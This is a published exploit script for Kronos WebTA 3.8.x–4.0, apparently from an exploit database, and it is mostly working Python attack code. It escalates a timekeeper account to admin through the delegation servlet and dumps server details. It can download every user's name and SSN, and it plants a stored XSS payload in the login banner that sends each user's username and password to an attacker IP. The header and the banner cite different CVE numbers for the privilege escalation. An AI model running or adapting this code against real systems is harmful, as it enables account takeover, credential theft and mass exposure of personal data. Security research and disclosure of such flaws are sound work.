Kronos WebTA 4.0 Privilege Escalation / Cross Site Scripting

Related Vulnerabilities: CVE-2020-8495   CVE-2020-8493   CVE-2020-8494  
Publish Date: 05 Feb 2020
                							

                #  Exploit Title: Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation
#  Discovered by: Elwood Buck & Nolan B. Kennedy of Mindpoint Group
#  Exploit Author: Nolan B. Kennedy (nxkennedy)
#  Discovery date: 2019-09-20
#  Vendor Homepage: https://www.kronos.com/products/kronos-webta
#  Version: 3.8.x - 4.0 affected. (Exploit tested on v3.8.6.79029)
#  Tested on: Linux
#  CVE: (Remote Privesc) CVE-2020-8495 | (Stored XSS) CVE-2020-8493
#  Usage: python3 exploit.py http://target

#!/bin/bash/python3

###
# *Exploit requires credentials with Timekeeper or Supervisor privileges
#
# Exploit abuses delegation privs present in the WebTA "/servlet/com.threeis.webta.H491delegate"
# servlet. By specifying the "delegate" and "delegatorUserId" parameter an attacker can use an
# admin user id to delegate role 5 (aka admin privs) to any other known user id, including oneself.
#
# selFunc=add&selRow=&delegate=<ATTACKER>&delegateRole=5&delegatorEmpId=1234&delegatorUserId=<ADMIN>
#
# With our new admin account, we can abuse a stored XSS vulnerability present in the login page,
# banner (displayed on every page) & password reset page. We can also pull system information and
# download a file containing the FULL NAME AND SSN OF EVERY USER in the database (typically thousands).
#
#
# Below is an example of the exploit output:
#####
# [+] Logged in as 'TESTER' with roles: Employee, Timekeeper
#
# [+] Available Admin Accounts:
# MOTOKO
# BATOU
# TOGUSA
# ISHIKAWA
#
# [-] Attempting to use account 'MOTOKO' to delegate Admin privs to 'TESTER'...
#
# [+] 'TESTER' successfully elevated to Admin privs :)
#
#
# [+] Logged in as 'TESTER' with roles: Employee, Timekeeper, Admin
#
# [+] Webta Version Information
# Site parameter: company
# Licensed modules:WEBTA-LEAVE, WEBTA, WEBTA
# webTA Servlet Version: 3.8.6.79029
# webTA Database Version: 3.8.6.79029
# App Server OS: Linux version 3.10.0-1062.1.1.el7.x86_64 (amd64)
# App Server JDK Version: Oracle Corporation version 1.8.0_222
# App Server Servlet Engine: Apache Tomcat/7.0.76 (Servlet API 3.0)
# App Server JDBC Driver: Oracle JDBC driver version 11.2.0.4.0
# Database Version:  Oracle JDBC driver version 11.2.0.4.0
# Database Connection: jdbc:oracle:thin:@//foo.rds.amazonaws.com:1521/webtadb<br>connected as user WEBTASVC
#
# [-] Downloading names and SSNs...
#
# [+] Complete. 5020 users written to file 'WebTA-PII.xls'
# [+] Sample Content:
# USERID,Last Name,First Name,Middle Name,SSN,Supervisor ID,Timekeeper ID,Organization,Pay Period,Active Status,
# MOTOKO,Kusanagi,Major,M.,987-65-4321,ARAMAKI,ARAMAKI,SECTION9,19,Active,
#
# [+] Stored XSS attack complete :)
#####

import re
from requests import Request, Session
from sys import argv, exit




banner = """###
#  Kronos WebTA 3.8.x - 4.0 Authenticated Remote Privilege Escalation & Stored XSS Exploit
#  Discovered by: Elwood Buck & Nolan B. Kennedy of Mindpoint Group
#  Exploit Author: Nolan B. Kennedy (nxkennedy)
#  Discovery date: 20 SEPT 2019
#  Vendor Homepage: https://www.kronos.com/products/kronos-webta
#  Version: 3.8.x - 4.0 affected. (Exploit tested on v3.8.6.79029)
#  Tested on: Linux
#  CVE: (Remote Privesc) CVE-2020-8494 | (Stored XSS) CVE-2020-8493
#  Usage: python3 exploit.py http://target
###"""
base_url = argv[1]
username = "TESTER"
password = "password!1234"
# set to True if you want to also exploit Stored XSS
xss = False
# xss strings can be injected into 3 different 'banner' locations (feel free to modify content)
# WILL NOT ERASE CONTENT ALREADY IN APPLICATION
xss_login_page = """
<script>
/* steals login creds each time a user logs in and forwards them to attacker ip */

var attacker = "192.168.1.3";

/* don't forget to set up a listener (python3 -m http.server 80) */
function stealCreds() {
        var username = document.frm[1].value;
        var password = document.frm[2].value;
        img = new Image();
        img.src = "http://"+attacker+"/?"+ "username=" +username+ "&" + "password=" +escape(password);
        setTimeout('document.frm.submit();', 1000);
        return false;
        }

function readyToSteal() {
  document.frm.onsubmit = stealCreds;
  }

/* special for WebTA because otherwise the script loads before the DOM and password form */
document.addEventListener("DOMContentLoaded", readyToSteal);
</script>
"""
xss_banner_everypage = ""
xss_passwordchange_page = ""
s = Session()
adm_list = []



def web_req(url, data):
  print()
  req = Request('POST', url, data=data)
  prepared = s.prepare_request(req)
  resp = s.send(prepared, allow_redirects=True, verify=False)
  return resp



def killActiveSession():
  url = base_url + "/servlet/com.threeis.webta.H111multipleLogin"
  data = {"selFunc":"continue"}
  resp = web_req(url, data)



def checkPrivs():
  url = base_url + "/servlet/com.threeis.webta.HGateway"
  data = {}
  resp = web_req(url, data)
  html = resp.text
  activeSession = roles = re.findall(r'(.*?)You have an active session open at a another browser(.*?)\.', html)
  roles = re.findall(r'(.*?)type\="button"(.*?)>', html)
  if activeSession:
    print("[-] Killing active session...")
    killActiveSession()
    login()
  elif roles:
    roles_list = []
    for role in roles:
      role = role[1].split('"')[1]
      roles_list.append(role)
    print("[+] Logged in as '{}' with roles: {}".format(username, ', '.join(roles_list)))

  else:
    print("[!] Account does not have required Timekeeper or Supervisor privs")
    exit()



def login():
  url = base_url + "/servlet/com.threeis.webta.H110login"
  data = {"j_username": username, "j_password": password, "login": "++Log+In++"}
  resp = web_req(url, data)
  if resp.status_code != 200:
    print("[!] Failed login in as '{}'".format(username))
    exit()
  checkPrivs()



def findAdmins():
  url = base_url + "/servlet/com.threeis.webta.H940searchUser"
  data = {
        "selFunc":"search",
        "return_page":"com.threeis.webta.P491delegate",
        "return_variable":"delegate",
        "search_org":"0",
        "search_role":"Administrator",
        "actingRole":"2",
        "payload_name_0":"selFunc",
        "payload_val_0":"search",
        "payload_name_1":"selRow",
        "payload_name_2":"delegate",
        "payload_name_3":"delegateRole",
        "payload_val_3":"2",
        "payload_name_4":"delegatorEmpId",
        "payload_val_4":"15667", # might need a valid user id
        "payload_name_5":"delegatorUserId",
        "payload_val_5":username,
        }
  resp = web_req(url, data)
  html = resp.text
  adm_usrs = re.findall(r'<TD CLASS\="bckGray">(.*?)\n', html)
  print("[+] Available Admin Accounts:")
  for snip in adm_usrs:
          adm = snip.split('</TD><TD CLASS="bckGray">')[2]
          adm_list.append(adm)
          print(adm)



def privesc():
  url = base_url + "/servlet/com.threeis.webta.H491delegate"
  data = {
  "selFunc":"add",
  "delegate":username,
  "delegateRole":"5",
  "delegatorEmpId":"1234",
  "delegatorUserId":adm_list[0],
  }
  print()
  print("[-] Attempting to use account '{}' to delegate Admin privs to '{}'...".format(adm_list[0], username))
  resp = web_req(url, data)
  print("[+] '{}' successfully elevated to Admin privs :)".format(username))



def storeXSS():
  url = base_url + "/servlet/com.threeis.webta.H261configMenu"
  data = {'selFunc':'messages'}
  ### to be covert we want to append our js to the end of * messages/banners already there *
  resp = web_req(url, data)
  html = resp.text
  messages = re.findall(r'<TEXTAREA name\=(.*?)</textarea>', html, re.DOTALL)
  messages_clean = []
  for message in messages:
    message = message.split('wrap="virtual">')[1]
    messages_clean.append(message)
  login_page = messages_clean[0]
  banner_everypage = messages_clean[1]
  passwordchange_page = messages_clean[2]

  ###  now we inject our javascript
  url = base_url + "/servlet/com.threeis.webta.H201config"
  data = {
    "selFunc":"save",
    "loginMessage": login_page + xss_login_page,
    "bannerMessage": banner_everypage + xss_banner_everypage,
    "passwordMessage": passwordchange_page + xss_passwordchange_page,
  }
  resp = web_req(url, data)
  print("[+] Stored XSS attack complete :)")



def stealPII():
  url = base_url + "/servlet/com.threeis.webta.H287userRoleReport"
  data = {
  "selFunc":"downloademp",
  "roletype":"1",
  "orgsel":"0",
  "pageNum":"1",
  }
  print("[-] Downloading names and SSNs...")
  resp = web_req(url, data)
  filename = "WebTA-PII.xls"
  with open(filename, 'wb') as f:
    f.write(resp.content)
  with open(filename) as f:
    for i, l in enumerate(f):
      pass
  count = i # does not include header
  print("[+] Complete. {} users written to file '{}'".format(count, filename))
  print("[+] Sample Content:")
  with open(filename) as f:
    for n in range(2):
      print(",".join(f.readline().split("\t")), end="")



def dumpSysInfo():
  url = base_url + "/servlet/com.threeis.webta.H200mnuAdmin"
  data = {"selFunc":"about"}
  resp = web_req(url, data)
  html = resp.text
  data = re.findall(r'<INPUT VALUE\="(.*?)"', html, re.DOTALL)
  print("[+] " + data[0])



if __name__ == '__main__':
  print(banner)
  login()
  findAdmins()
  privesc()
  login() # login again because we need the refreshed perms after privesc
  dumpSysInfo()
  #stealPII()
  if xss:
    storeXSS()
  s.close()
<p>